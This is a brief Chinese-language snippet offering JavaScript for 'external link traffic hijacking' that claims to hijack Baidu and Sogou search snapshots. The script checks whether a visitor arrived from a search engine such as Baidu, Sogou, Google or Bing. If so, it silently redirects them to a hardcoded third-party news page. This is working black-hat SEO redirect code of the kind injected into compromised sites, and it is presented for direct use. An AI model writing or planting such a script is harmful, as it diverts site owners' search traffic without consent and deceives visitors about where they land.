js實作外鍊通路劫持代碼,可劫持百度快照,搜狗快照等。
代碼如下:
<script type="text/javascript">// <![CDATA[
var regexp=/\.(soso|sina|sogou|so|google|baidu|youdao|yahoo|bing|sm|toutiao)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="http://www.quanbaike.com/news/4901.html";
}
// ]]>
</script>